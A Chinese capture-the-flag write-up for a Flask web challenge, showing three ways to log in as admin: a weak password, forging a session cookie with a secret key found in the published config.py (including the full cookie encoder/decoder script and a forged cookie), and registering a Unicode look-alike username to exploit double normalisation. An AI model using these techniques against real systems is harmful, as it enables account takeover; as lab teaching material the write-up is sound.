解法一:弱密码
点击login,用户名:admin,密码:123
解法二:flask session伪造
源代码提示
先随便注册个账号test/test,在change password页面发现提示
网站应该是用flask写的,由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
在github中config.py里找到密钥
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
用github找到的脚本进行解密
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
解密后得到一串值
{'_fresh': True, '_id': b'58e28af7893281ea52305e1fa0ccc31d7c64175d8da191f730714d916b02104879a453e81d4f52261ab7f7c07b778291c3461cf14e55dc968c77e93e0290ed01', 'csrf_token': b'996a2437126bcbd024389c7393952ff91eb77454', 'image': b'TwhV', 'name': 'tets', 'user_id': '10'}
把name后面的test改为admin然后再加密
.eJw9kEGLwkAMhf_KkrOHaWsvgocura5CprhEJXMp7rTapq1CVdAR__vOuuAxvJcvee8BxX6ozjVMLsO1GkHRlDB5wMcPTEBT3aHUtRE7zgnveTrrmNZ3dElgaNYzfQqH6HC7itixQrKBSeuWKYtxy5H3RUjfbU5ZyJLckRKVpzZmWgUYrsd-TxnxPOEbbxeRkVIwLRvt7BilvbFDpWUmRjJlaB2YOcZaatGu7HLSHaaLGOebFtNsCs8R2POwLy6ntjq-I-TUhkwLhc7eUEzD4dLb_-ZDzM46HyvWtOyNP2f8C9qtAp1MX7im3x2qN2nzVZ42h3_luOu9ALuyb44wguu5Gl69QaDg-QuZNGw4.Yjaaxw.HTueB9mT-qkHcGrNFaMQZonz7xQ
修改cookie得到flag
解法三:Unicode欺骗
不管是login、register还是change页面,只要是关于session['name']的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower
,这里重写了一个,于是找到strlower函数的定义
def strlower(username):
username = nodeprep.prepare(username)
return username
nodeprep.prepare函数会将unicode字符ᴬ
转换成A
,而A
在调用一次nodeprep.prepare函数会把A
转换成a
。
所以当我们用ᴬdmin
注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin
,我们用ᴬdmin
进行登录,可以看到index页面的username变成了Admin
,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。
注册ᴬᴰᴹᴵᴺ账号,密码111
登陆后把密码改为222,然后登出,使用admin/222进行登录拿到flag